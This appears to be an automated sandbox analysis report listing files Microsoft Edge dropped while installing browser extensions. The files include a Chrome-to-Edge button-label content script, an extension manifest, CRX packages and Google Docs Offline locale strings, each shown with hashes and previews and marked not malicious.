SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8172_1086171737\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8172_1086171737\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_1086171737\f83a7730-684b-413b-be3b-9a552cfc4079.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\29bed3e7-400f-4f52-854b-05fe307177dd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
